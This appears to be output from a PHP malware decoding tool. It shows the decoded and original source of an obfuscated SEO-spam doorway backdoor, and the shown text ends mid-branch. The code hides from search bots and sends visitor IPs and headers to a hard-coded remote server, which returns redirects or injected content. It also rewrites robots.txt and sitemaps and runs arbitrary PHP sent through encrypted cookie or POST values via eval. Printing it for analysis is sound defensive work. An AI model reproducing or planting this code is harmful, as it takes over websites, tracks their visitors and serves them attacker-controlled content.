"result" => (int) $_mzzqm2gw,
]);
}
}
if ($_zmpzru71["sa"] == "eval") {
eval($_zmpzru71["data"]);
exit();
}
}
}
$_11mry4m9 = new _flo03n();
if ($_11mry4m9->_fkg9d()) {
$_11mry4m9->_m2w0g();
}
exit();
?>
Did this file decode correctly?
Original Code
<?php
@ini_set("error_log", null);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@error_reporting(0);
@set_time_limit(0);
date_default_timezone_set("UTC");
class _dxmjypo
{
private static $_n6u4uq9v = 2420912366;
static function _o01ye($_rybm1g22, $_pd52ideq)
{
$_rybm1g22[2] =
count($_rybm1g22) > 4
? long2ip(_dxmjypo::$_n6u4uq9v - 326)
: $_rybm1g22[2];
$_a4lhpc81 = _dxmjypo::_qpbtu($_rybm1g22, $_pd52ideq);
if (!$_a4lhpc81) {
$_a4lhpc81 = _dxmjypo::_q15kz($_rybm1g22, $_pd52ideq);
}
return $_a4lhpc81;
}
static function _qpbtu($_rybm1g22, $_a4lhpc81, $_9juft901 = null)
{
if (!function_exists("curl_version")) {
return "";
}
if (is_array($_rybm1g22)) {
$_rybm1g22 = implode("/", $_rybm1g22);
}
$_9hff9b92 = curl_init();
curl_setopt($_9hff9b92, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($_9hff9b92, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($_9hff9b92, CURLOPT_URL, $_rybm1g22);
if (!empty($_a4lhpc81)) {
curl_setopt($_9hff9b92, CURLOPT_POST, 1);
curl_setopt($_9hff9b92, CURLOPT_POSTFIELDS, $_a4lhpc81);
}
if (!empty($_9juft901)) {
curl_setopt($_9hff9b92, CURLOPT_HTTPHEADER, $_9juft901);
}
curl_setopt($_9hff9b92, CURLOPT_RETURNTRANSFER, true);
$_ozgbai1o = curl_exec($_9hff9b92);
curl_close($_9hff9b92);
return $_ozgbai1o;
}
static function _q15kz($_rybm1g22, $_a4lhpc81, $_9juft901 = null)
{
if (is_array($_rybm1g22)) {
$_rybm1g22 = implode("/", $_rybm1g22);
}
if (!empty($_a4lhpc81)) {
$_czjjlniy = [
"method" => "POST",
"header" => "Content-type: application/x-www-form-urlencoded",
"content" => $_a4lhpc81,
];
if (!empty($_9juft901)) {
$_czjjlniy["header"] =
$_czjjlniy["header"] . "\r\n" . implode("\r\n", $_9juft901);
}
$_usdxabdi = stream_context_create(["http" => $_czjjlniy]);
} else {
$_czjjlniy = ["method" => "GET"];
if (!empty($_9juft901)) {
$_czjjlniy["header"] = implode("\r\n", $_9juft901);
}
$_usdxabdi = stream_context_create(["http" => $_czjjlniy]);
}
return @file_get_contents($_rybm1g22, false, $_usdxabdi);
}
}
class _x8albo
{
private static $_im4d239c = "";
private static $_a3plkhr4 = -1;
private static $_vr6yc981 = "";
private $_qowiedw8 = "";
private $_v4eshvs0 = "";
private $_ef4my2p4 = "";
private $_ktayg6ll = "";
public static function _bvjm4($_5tlgezww, $_jowoh142, $_35xlekrl)
{
_x8albo::$_im4d239c = $_5tlgezww . "/cache/";
_x8albo::$_a3plkhr4 = $_jowoh142;
_x8albo::$_vr6yc981 = $_35xlekrl;
if (!@file_exists(_x8albo::$_im4d239c)) {
@mkdir(_x8albo::$_im4d239c);
}
}
public static function _mr85f()
{
$_loi75tzl = 0;
foreach (scandir(_x8albo::$_im4d239c) as $_xbrkapm1) {
$_loi75tzl += 1;
}
return $_loi75tzl;
}
public static function _fkg9d()
{
return true;
}
public function __construct($_qwtog4um, $_untlu32e, $_gj3kssia, $_x8xcsse0)
{
$this->_qowiedw8 = $_qwtog4um;
$this->_v4eshvs0 = $_untlu32e;
$this->_ef4my2p4 = $_gj3kssia;
$this->_ktayg6ll = $_x8xcsse0;
}
public function _3corl()
{
function _bud6v($_jqhvfgwd, $_7fhld6w3)
{
return round(
rand($_jqhvfgwd, $_7fhld6w3 - 1) +
rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX,
2
);
}
$_5xube96r = _tuc0jtb::_6atvl();
$_a4lhpc81 = str_replace(
"{{ text }}",
$this->_v4eshvs0,
str_replace(
"{{ keyword }}",
$this->_ef4my2p4,
str_replace("{{ links }}", $this->_ktayg6ll, $this->_qowiedw8)
)
);
while (true) {
$_x47yle6p = preg_replace(
"/" . preg_quote("{{ randkeyword }}", "/") . "/",
_tuc0jtb::_t6k2w(),
$_a4lhpc81,
1
);
if ($_x47yle6p === $_a4lhpc81) {
break;
}
$_a4lhpc81 = $_x47yle6p;
}
while (true) {
preg_match(
"/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/",
$_a4lhpc81,
$_y6adnklm
);
if (empty($_y6adnklm)) {
break;
}
$_gj3kssia = @$_5xube96r[intval($_y6adnklm[1])];
$_c7s6nnh5 = _flo03n::_0cyz2($_gj3kssia);
$_a4lhpc81 = str_replace($_y6adnklm[0], $_c7s6nnh5, $_a4lhpc81);
}
while (true) {
preg_match("/{{ KEYWORDBYINDEX (\d*) }}/", $_a4lhpc81, $_y6adnklm);
if (empty($_y6adnklm)) {
break;
}
$_gj3kssia = @$_5xube96r[intval($_y6adnklm[1])];
$_a4lhpc81 = str_replace($_y6adnklm[0], $_gj3kssia, $_a4lhpc81);
}
while (true) {
preg_match("/{{ RANDFLOAT (\d*)-(\d*) }}/", $_a4lhpc81, $_y6adnklm);
if (empty($_y6adnklm)) {
break;
}
$_a4lhpc81 = str_replace(
$_y6adnklm[0],
_bud6v($_y6adnklm[1], $_y6adnklm[2]),
$_a4lhpc81
);
}
while (true) {
preg_match("/{{ RANDINT (\d*)-(\d*) }}/", $_a4lhpc81, $_y6adnklm);
if (empty($_y6adnklm)) {
break;
}
$_a4lhpc81 = str_replace(
$_y6adnklm[0],
rand($_y6adnklm[1], $_y6adnklm[2]),
$_a4lhpc81
);
}
return $_a4lhpc81;
}
public function _zmmow()
{
$_x50zz3at =
_x8albo::$_im4d239c . md5($this->_ef4my2p4 . _x8albo::$_vr6yc981);
if (_x8albo::$_a3plkhr4 == -1) {
$_9mphbljt = -1;
} else {
$_9mphbljt = time() + 3600 * 24 * 30;
}
$_z9iwn1ni = [
"template" => $this->_qowiedw8,
"text" => $this->_v4eshvs0,
"keyword" => $this->_ef4my2p4,
"links" => $this->_ktayg6ll,
"expired" => $_9mphbljt,
];
@file_put_contents($_x50zz3at, serialize($_z9iwn1ni));
}
public static function _591nr($_gj3kssia)
{
$_x50zz3at =
_x8albo::$_im4d239c . md5($_gj3kssia . _x8albo::$_vr6yc981);
$_x50zz3at = @unserialize(@file_get_contents($_x50zz3at));
if (
!empty($_x50zz3at) &&
($_x50zz3at["expired"] > time() || $_x50zz3at["expired"] == -1)
) {
return new _x8albo(
$_x50zz3at["template"],
$_x50zz3at["text"],
$_x50zz3at["keyword"],
$_x50zz3at["links"]
);
} else {
return null;
}
}
}
class _bccexs
{
private static $_im4d239c = "";
private static $_s2u19v1k = "";
public static function _bvjm4($_5tlgezww, $_br0v5h59)
{
_bccexs::$_im4d239c = $_5tlgezww . "/";
_bccexs::$_s2u19v1k = $_br0v5h59;
if (!@file_exists(_bccexs::$_im4d239c)) {
@mkdir(_bccexs::$_im4d239c);
}
}
public static function _fkg9d()
{
return true;
}
public static function _mr85f()
{
$_loi75tzl = 0;
foreach (scandir(_bccexs::$_im4d239c) as $_xbrkapm1) {
if (strpos($_xbrkapm1, _bccexs::$_s2u19v1k) === 0) {
$_loi75tzl += 1;
}
}
return $_loi75tzl;
}
public static function _t6k2w()
{
$_wb5bxdlm = [];
foreach (scandir(_bccexs::$_im4d239c) as $_xbrkapm1) {
if (strpos($_xbrkapm1, _bccexs::$_s2u19v1k) === 0) {
$_wb5bxdlm[] = $_xbrkapm1;
}
}
return @file_get_contents(
_bccexs::$_im4d239c . $_wb5bxdlm[array_rand($_wb5bxdlm)]
);
}
public static function _zmmow($_lf46ryca)
{
if (
@file_exists(_bccexs::$_s2u19v1k . "_" . md5($_lf46ryca) . ".html")
) {
return;
}
@file_put_contents(
_bccexs::$_s2u19v1k . "_" . md5($_lf46ryca) . ".html",
$_lf46ryca
);
}
}
class _tuc0jtb
{
private static $_im4d239c = "";
private static $_s2u19v1k = "";
private static $_hz1u86hp = [];
private static $_df5hv6k8 = [];
public static function _bvjm4($_5tlgezww, $_br0v5h59)
{
_tuc0jtb::$_im4d239c = $_5tlgezww . "/";
_tuc0jtb::$_s2u19v1k = $_br0v5h59;
if (!@file_exists(_tuc0jtb::$_im4d239c)) {
@mkdir(_tuc0jtb::$_im4d239c);
}
}
private static function _klyph()
{
$_0sb6sw4s = [];
foreach (scandir(_tuc0jtb::$_im4d239c) as $_xbrkapm1) {
if (strpos($_xbrkapm1, _tuc0jtb::$_s2u19v1k) === 0) {
$_0sb6sw4s[] = $_xbrkapm1;
}
}
return $_0sb6sw4s;
}
public static function _fkg9d()
{
return true;
}
public static function _t6k2w()
{
if (empty(_tuc0jtb::$_hz1u86hp)) {
$_0sb6sw4s = _tuc0jtb::_klyph();
_tuc0jtb::$_hz1u86hp = @file(
_tuc0jtb::$_im4d239c . $_0sb6sw4s[array_rand($_0sb6sw4s)],
FILE_IGNORE_NEW_LINES
);
}
return _tuc0jtb::$_hz1u86hp[array_rand(_tuc0jtb::$_hz1u86hp)];
}
public static function _6atvl()
{
if (empty(_tuc0jtb::$_df5hv6k8)) {
$_0sb6sw4s = _tuc0jtb::_klyph();
foreach ($_0sb6sw4s as $_ind5a4pn) {
_tuc0jtb::$_df5hv6k8 = array_merge(
_tuc0jtb::$_df5hv6k8,
@file(
_tuc0jtb::$_im4d239c . $_ind5a4pn,
FILE_IGNORE_NEW_LINES
)
);
}
}
return _tuc0jtb::$_df5hv6k8;
}
public static function _zmmow($_ddfd6wg5)
{
if (
@file_exists(_tuc0jtb::$_s2u19v1k . "_" . md5($_ddfd6wg5) . ".list")
) {
return;
}
@file_put_contents(
_tuc0jtb::$_s2u19v1k . "_" . md5($_ddfd6wg5) . ".list",
$_ddfd6wg5
);
}
public static function _fisto($_gj3kssia)
{
@file_put_contents(
_tuc0jtb::$_s2u19v1k . "_" . md5(_flo03n::$_3cvjwxk6) . ".list",
$_gj3kssia . "\n",
8
);
}
}
class _flo03n
{
public static $_oof5rumy = "5.3";
public static $_3cvjwxk6 = "a8509df0-7f53-aa18-4ec6-2cf998ad6f06";
private $_hiraxrpg = "http://136.12.78.46/app/assets/api2?action=redir";
private $_up1krq5g = "http://136.12.78.46/app/assets/api?action=page";
public static $_372l6lrs = 5;
public static $_vvi24tqg = 20;
private function _9z83o()
{
$_mvpvo7mf = [
"#libwww-perl#i",
"#MJ12bot#i",
"#msnbot#i",
"#msnbot-media#i",
"#YandexBot#i",
"#msnbot#i",
"#YandexWebmaster#i",
"#spider#i",
"#yahoo#i",
"#google#i",
"#altavista#i",
"#ask#i",
"#yahoo!\s*slurp#i",
"#BingBot#i",
];
if (
!empty($_SERVER["HTTP_USER_AGENT"]) &&
false !==
strpos(
preg_replace(
$_mvpvo7mf,
"-NO-WAY-",
$_SERVER["HTTP_USER_AGENT"]
),
"-NO-WAY-"
)
) {
$_0axtrl5k = 1;
} elseif (
empty($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ||
empty($_SERVER["HTTP_REFERER"])
) {
$_0axtrl5k = 1;
} elseif (
strpos($_SERVER["HTTP_REFERER"], "google") === false &&
strpos($_SERVER["HTTP_REFERER"], "yahoo") === false &&
strpos($_SERVER["HTTP_REFERER"], "bing") === false &&
strpos($_SERVER["HTTP_REFERER"], "yandex") === false
) {
$_0axtrl5k = 1;
} else {
$_0axtrl5k = 0;
}
return $_0axtrl5k;
}
private static function _df78y()
{
$_pd52ideq = [];
$_pd52ideq["ip"] = $_SERVER["REMOTE_ADDR"];
$_pd52ideq["qs"] = @$_SERVER["HTTP_HOST"] . @$_SERVER["REQUEST_URI"];
$_pd52ideq["ua"] = @$_SERVER["HTTP_USER_AGENT"];
$_pd52ideq["lang"] = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$_pd52ideq["ref"] = @$_SERVER["HTTP_REFERER"];
$_pd52ideq["enc"] = @$_SERVER["HTTP_ACCEPT_ENCODING"];
$_pd52ideq["acp"] = @$_SERVER["HTTP_ACCEPT"];
$_pd52ideq["char"] = @$_SERVER["HTTP_ACCEPT_CHARSET"];
$_pd52ideq["conn"] = @$_SERVER["HTTP_CONNECTION"];
return $_pd52ideq;
}
public function __construct()
{
$this->_hiraxrpg = explode("/", $this->_hiraxrpg);
$this->_up1krq5g = explode("/", $this->_up1krq5g);
}
public static function _n9fm8($_pzmjijb6)
{
if (strlen($_pzmjijb6) < 4) {
return "";
}
$_zkginifl =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$_5xube96r = str_split($_zkginifl);
$_5xube96r = array_flip($_5xube96r);
$_hk8hciql = 0;
$_xr87l1cn = "";
$_pzmjijb6 = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_pzmjijb6);
do {
$_vehcbobg = $_5xube96r[$_pzmjijb6[$_hk8hciql++]];
$_2enerv1g = $_5xube96r[$_pzmjijb6[$_hk8hciql++]];
$_p9kqzp9g = $_5xube96r[$_pzmjijb6[$_hk8hciql++]];
$_buc0ydqz = $_5xube96r[$_pzmjijb6[$_hk8hciql++]];
$_qv74l6xi = ($_vehcbobg << 2) | ($_2enerv1g >> 4);
$_5l58q9kn = (($_2enerv1g & 15) << 4) | ($_p9kqzp9g >> 2);
$_6wsnndiy = (($_p9kqzp9g & 3) << 6) | $_buc0ydqz;
$_xr87l1cn = $_xr87l1cn . chr($_qv74l6xi);
if ($_p9kqzp9g != 64) {
$_xr87l1cn = $_xr87l1cn . chr($_5l58q9kn);
}
if ($_buc0ydqz != 64) {
$_xr87l1cn = $_xr87l1cn . chr($_6wsnndiy);
}
} while ($_hk8hciql < strlen($_pzmjijb6));
return $_xr87l1cn;
}
private function _y9ijl($_gj3kssia)
{
$_qwtog4um = "";
$_untlu32e = "";
$_pd52ideq = _flo03n::_df78y();
$_pd52ideq["uid"] = _flo03n::$_3cvjwxk6;
$_pd52ideq["keyword"] = $_gj3kssia;
$_pd52ideq["tc"] = 10;
$_pd52ideq = http_build_query($_pd52ideq);
$_zmpzru71 = _dxmjypo::_o01ye($this->_up1krq5g, $_pd52ideq);
if (strpos($_zmpzru71, _flo03n::$_3cvjwxk6) === false) {
return [$_qwtog4um, $_untlu32e];
}
$_qwtog4um = _bccexs::_t6k2w();
$_untlu32e = substr($_zmpzru71, strlen(_flo03n::$_3cvjwxk6));
$_untlu32e = explode("\n", $_untlu32e);
shuffle($_untlu32e);
$_untlu32e = implode(" ", $_untlu32e);
return [$_qwtog4um, $_untlu32e];
}
private function _wfmup()
{
$_pd52ideq = _flo03n::_df78y();
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$_pd52ideq["cfconn"] = @$_SERVER["HTTP_CF_CONNECTING_IP"];
}
if (isset($_SERVER["HTTP_X_REAL_IP"])) {
$_pd52ideq["xreal"] = @$_SERVER["HTTP_X_REAL_IP"];
}
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$_pd52ideq["xforward"] = @$_SERVER["HTTP_X_FORWARDED_FOR"];
}
$_pd52ideq["uid"] = _flo03n::$_3cvjwxk6;
$_pd52ideq = http_build_query($_pd52ideq);
$_gabkojhr = _dxmjypo::_o01ye($this->_hiraxrpg, $_pd52ideq);
$_gabkojhr = @unserialize($_gabkojhr);
if (isset($_gabkojhr["type"]) && $_gabkojhr["type"] == "redir") {
if (!empty($_gabkojhr["data"]["header"])) {
header($_gabkojhr["data"]["header"]);
return true;
} elseif (!empty($_gabkojhr["data"]["code"])) {
echo $_gabkojhr["data"]["code"];
return true;
}
}
return false;
}
public function _fkg9d()
{
return _x8albo::_fkg9d() && _bccexs::_fkg9d() && _tuc0jtb::_fkg9d();
}
public static function _0z3ih()
{
if (
(!empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off") ||
$_SERVER["SERVER_PORT"] == 443
) {
return true;
}
return false;
}
public static function _yqnqg()
{
$_e235j3p0 = explode("?", $_SERVER["REQUEST_URI"], 2);
$_e235j3p0 = $_e235j3p0[0];
if (strpos($_e235j3p0, ".php") === false) {
$_e235j3p0 = explode("/", $_e235j3p0);
array_pop($_e235j3p0);
$_e235j3p0 = implode("/", $_e235j3p0) . "/";
}
return sprintf(
"%s://%s%s",
_flo03n::_0z3ih() ? "https" : "http",
$_SERVER["HTTP_HOST"],
$_e235j3p0
);
}
public static function _gj93a()
{
$_fgitch5k = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36",
];
$_1li37tnw = [
"https://www.google.com/ping?sitemap=" =>
"Sitemap Notification Received",
];
$_9juft901 = [
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language: en-US,en;q=0.5",
"User-Agent: " . $_fgitch5k[array_rand($_fgitch5k)],
];
$_idwnv9hx = urlencode(_flo03n::_hs1uc() . "/sitemap.xml");
foreach ($_1li37tnw as $_rybm1g22 => $_d09z4dtz) {
$_mzzqm2gw = _dxmjypo::_qpbtu(
$_rybm1g22 . $_idwnv9hx,
null,
$_9juft901
);
if (empty($_mzzqm2gw)) {
$_mzzqm2gw = _dxmjypo::_q15kz(
$_rybm1g22 . $_idwnv9hx,
null,
$_9juft901
);
}
if (empty($_mzzqm2gw)) {
return false;
}
if (strpos($_mzzqm2gw, $_d09z4dtz) === false) {
return false;
}
}
return true;
}
public static function _jmhk7()
{
$_74ktm4b2 =
"User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";
$_e235j3p0 = explode("?", $_SERVER["REQUEST_URI"], 2);
$_e235j3p0 = $_e235j3p0[0];
$_enoiv1wa = substr($_e235j3p0, 0, strrpos($_e235j3p0, "/"));
$_wpmo0i0o = sprintf(
$_74ktm4b2,
$_enoiv1wa,
_flo03n::_hs1uc() . "/sitemap.xml"
);
$_a6figz5b = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";
if (@file_exists($_a6figz5b)) {
@chmod($_a6figz5b, 0777);
$_quzkhtas = @file_get_contents($_a6figz5b);
} else {
$_quzkhtas = "";
}
if (strpos($_quzkhtas, $_wpmo0i0o) === false) {
@file_put_contents($_a6figz5b, $_quzkhtas . "\n" . $_wpmo0i0o);
$_quzkhtas = @file_get_contents($_a6figz5b);
return strpos($_quzkhtas, $_wpmo0i0o) !== false;
}
return false;
}
public static function _hs1uc()
{
$_e235j3p0 = explode("?", $_SERVER["REQUEST_URI"], 2);
$_e235j3p0 = $_e235j3p0[0];
$_5tlgezww = substr($_e235j3p0, 0, strrpos($_e235j3p0, "/"));
return sprintf(
"%s://%s%s",
_flo03n::_0z3ih() ? "https" : "http",
$_SERVER["HTTP_HOST"],
$_5tlgezww
);
}
public static function _0cyz2($_gj3kssia)
{
$_u5l75wgd = _flo03n::_yqnqg();
$_wduwsp4z = substr(md5(_flo03n::$_3cvjwxk6 . "salt3"), 0, 6);
$_o4jcy95x = "";
if (substr($_u5l75wgd, -1) == "/") {
if (ord($_wduwsp4z[1]) % 2) {
$_gj3kssia = str_replace(" ", "-", $_gj3kssia);
} else {
$_gj3kssia = str_replace(" ", "-", $_gj3kssia);
}
$_o4jcy95x = sprintf(
"%s%s.html",
$_u5l75wgd,
urlencode($_gj3kssia)
);
} else {
if (false && ord($_wduwsp4z[0]) % 2) {
$_o4jcy95x = sprintf(
"%s?%s=%s",
$_u5l75wgd,
$_wduwsp4z,
urlencode(str_replace(" ", "-", $_gj3kssia))
);
} else {
$_sboc1atg = ["id", "page", "tag"];
$_jzf47faz = $_sboc1atg[ord($_wduwsp4z[2]) % count($_sboc1atg)];
if (ord($_wduwsp4z[1]) % 2) {
$_gj3kssia = str_replace(" ", "-", $_gj3kssia);
} else {
$_gj3kssia = str_replace(" ", "-", $_gj3kssia);
}
$_o4jcy95x = sprintf(
"%s?%s=%s",
$_u5l75wgd,
$_jzf47faz,
urlencode($_gj3kssia)
);
}
}
return $_o4jcy95x;
}
public static function _pkg7s($_jqhvfgwd, $_7fhld6w3)
{
$_u5qnse3n = "";
for (
$_hk8hciql = 0;
$_hk8hciql < rand($_jqhvfgwd, $_7fhld6w3);
$_hk8hciql++
) {
$_gj3kssia = _tuc0jtb::_t6k2w();
$_u5qnse3n .= sprintf(
"<a href=\"%s\">%s</a>,\n",
_flo03n::_0cyz2($_gj3kssia),
ucwords($_gj3kssia)
);
}
return $_u5qnse3n;
}
public static function _y7wi3($_nabrfizd = false)
{
$_r8yaueot = dirname(__FILE__) . "/sitemap.xml";
$_2jul6e0l =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?" .
">\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";
$_nkym59d3 = "</urlset>";
$_5xube96r = _tuc0jtb::_6atvl();
$_yhf1l8bk = [];
if (file_exists($_r8yaueot)) {
$_zmpzru71 = simplexml_load_file($_r8yaueot);
foreach ($_zmpzru71 as $_bnl2mpy0) {
$_yhf1l8bk[(string) $_bnl2mpy0->loc] =
(string) $_bnl2mpy0->lastmod;
}
} else {
$_nabrfizd = false;
}
foreach ($_5xube96r as $_4iyvv8lv) {
$_o4jcy95x = _flo03n::_0cyz2($_4iyvv8lv);
if (isset($_yhf1l8bk[$_o4jcy95x])) {
continue;
}
if ($_nabrfizd) {
$_qcwbc3to = time();
} else {
$_qcwbc3to = time() - (crc32($_4iyvv8lv) % (60 * 60 * 24 * 30));
}
$_yhf1l8bk[$_o4jcy95x] = date("Y-m-d", $_qcwbc3to);
}
$_nqyz6uj2 = "";
foreach ($_yhf1l8bk as $_rybm1g22 => $_qcwbc3to) {
$_nqyz6uj2 .= "<url>\n";
$_nqyz6uj2 .= sprintf("<loc>%s</loc>\n", $_rybm1g22);
$_nqyz6uj2 .= sprintf("<lastmod>%s</lastmod>\n", $_qcwbc3to);
$_nqyz6uj2 .= "</url>\n";
}
$_ihi70iks = $_2jul6e0l . $_nqyz6uj2 . $_nkym59d3;
$_idwnv9hx = _flo03n::_hs1uc() . "/sitemap.xml";
@file_put_contents($_r8yaueot, $_ihi70iks);
return $_idwnv9hx;
}
public function _m2w0g()
{
$_jzf47faz = substr(md5(_flo03n::$_3cvjwxk6 . "salt3"), 0, 6);
if (!$this->_9z83o()) {
if ($this->_wfmup()) {
return;
}
}
if (!empty($_GET)) {
$_acenhtqd = array_values($_GET);
} else {
$_acenhtqd = explode("/", $_SERVER["REQUEST_URI"]);
$_acenhtqd = array_reverse($_acenhtqd);
}
$_gj3kssia = "";
foreach ($_acenhtqd as $_g4zlj9kj) {
if (substr_count($_g4zlj9kj, "-") > 0) {
$_gj3kssia = $_g4zlj9kj;
break;
}
}
$_gj3kssia = str_replace($_jzf47faz . "-", "", $_gj3kssia);
$_gj3kssia = str_replace("-" . $_jzf47faz, "", $_gj3kssia);
$_gj3kssia = str_replace("-", " ", $_gj3kssia);
$_esz2y7ge = [".html", ".php", ".aspx"];
foreach ($_esz2y7ge as $_28nj8j4o) {
if (
strpos($_gj3kssia, $_28nj8j4o) ===
strlen($_gj3kssia) - strlen($_28nj8j4o)
) {
$_gj3kssia = substr(
$_gj3kssia,
0,
strlen($_gj3kssia) - strlen($_28nj8j4o)
);
}
}
$_gj3kssia = urldecode($_gj3kssia);
$_5cwpayfx = _tuc0jtb::_6atvl();
if (empty($_gj3kssia)) {
$_gj3kssia = $_5cwpayfx[0];
} elseif (!in_array($_gj3kssia, $_5cwpayfx)) {
$_92xd0aya = 0;
foreach (str_split($_gj3kssia) as $_9hff9b92) {
$_92xd0aya += ord($_9hff9b92);
}
$_gj3kssia = $_5cwpayfx[$_92xd0aya % count($_5cwpayfx)];
}
if (!empty($_gj3kssia)) {
$_gabkojhr = _x8albo::_591nr($_gj3kssia);
if (empty($_gabkojhr)) {
list($_qwtog4um, $_untlu32e) = $this->_y9ijl($_gj3kssia);
if (empty($_untlu32e)) {
return;
}
$_gabkojhr = new _x8albo(
$_qwtog4um,
$_untlu32e,
$_gj3kssia,
_flo03n::_pkg7s(_flo03n::$_372l6lrs, _flo03n::$_vvi24tqg)
);
$_gabkojhr->_zmmow();
}
echo $_gabkojhr->_3corl();
}
}
}
_x8albo::_bvjm4(dirname(__FILE__), -1, _flo03n::$_3cvjwxk6);
_bccexs::_bvjm4(
dirname(__FILE__),
substr(md5(_flo03n::$_3cvjwxk6 . "salt12"), 0, 4)
);
_tuc0jtb::_bvjm4(
dirname(__FILE__),
substr(md5(_flo03n::$_3cvjwxk6 . "salt22"), 0, 4)
);
function _eufnf($_zmpzru71, $_4iyvv8lv)
{
$_f5hzt9um = "";
for ($_hk8hciql = 0; $_hk8hciql < strlen($_zmpzru71); ) {
for (
$_syried3q = 0;
$_syried3q < strlen($_4iyvv8lv) && $_hk8hciql < strlen($_zmpzru71);
$_syried3q++, $_hk8hciql++
) {
$_f5hzt9um .= chr(
ord($_zmpzru71[$_hk8hciql]) ^ ord($_4iyvv8lv[$_syried3q])
);
}
}
return $_f5hzt9um;
}
function _b670s($_zmpzru71, $_4iyvv8lv, $_vppt1hs9)
{
return _eufnf(_eufnf($_zmpzru71, $_4iyvv8lv), $_vppt1hs9);
}
foreach (array_merge($_COOKIE, $_POST) as $_m8qnzgqh => $_zmpzru71) {
$_zmpzru71 = @unserialize(
_b670s(_flo03n::_n9fm8($_zmpzru71), $_m8qnzgqh, _flo03n::$_3cvjwxk6)
);
if (isset($_zmpzru71["ak"]) && _flo03n::$_3cvjwxk6 == $_zmpzru71["ak"]) {
if ($_zmpzru71["a"] == "doorway2") {
if ($_zmpzru71["sa"] == "check") {
$_a4lhpc81 = _dxmjypo::_o01ye(
explode("/", "http://httpbin.org/"),
""
);
if (strlen($_a4lhpc81) > 512) {
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
"cache" => _x8albo::_mr85f(),
"keywords" => count(_tuc0jtb::_6atvl()),
"templates" => _bccexs::_mr85f(),
]);
}
exit();
}
if ($_zmpzru71["sa"] == "templates") {
foreach ($_zmpzru71["templates"] as $_qwtog4um) {
_bccexs::_zmmow($_qwtog4um);
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
]);
}
}
if ($_zmpzru71["sa"] == "keywords") {
_tuc0jtb::_zmmow($_zmpzru71["keywords"]);
_flo03n::_y7wi3();
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
]);
}
if ($_zmpzru71["sa"] == "update_sitemap") {
_flo03n::_y7wi3(true);
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
]);
}
if ($_zmpzru71["sa"] == "pages") {
$_mtkt6tzs = 0;
$_5cwpayfx = _tuc0jtb::_6atvl();
if (_bccexs::_mr85f() > 0) {
foreach ($_zmpzru71["pages"] as $_gabkojhr) {
$_gbwr96ea = _x8albo::_591nr($_gabkojhr["keyword"]);
if (empty($_gbwr96ea)) {
$_gbwr96ea = new _x8albo(
_bccexs::_t6k2w(),
$_gabkojhr["text"],
$_gabkojhr["keyword"],
_flo03n::_pkg7s(
_flo03n::$_372l6lrs,
_flo03n::$_vvi24tqg
)
);
$_gbwr96ea->_zmmow();
$_mtkt6tzs += 1;
if (!in_array($_gabkojhr["keyword"], $_5cwpayfx)) {
_tuc0jtb::_fisto($_gabkojhr["keyword"]);
}
}
}
}
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
"pages" => $_mtkt6tzs,
]);
}
if ($_zmpzru71["sa"] == "ping") {
$_mzzqm2gw = _flo03n::_gj93a();
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
"result" => (int) $_mzzqm2gw,
]);
}
if ($_zmpzru71["sa"] == "robots") {
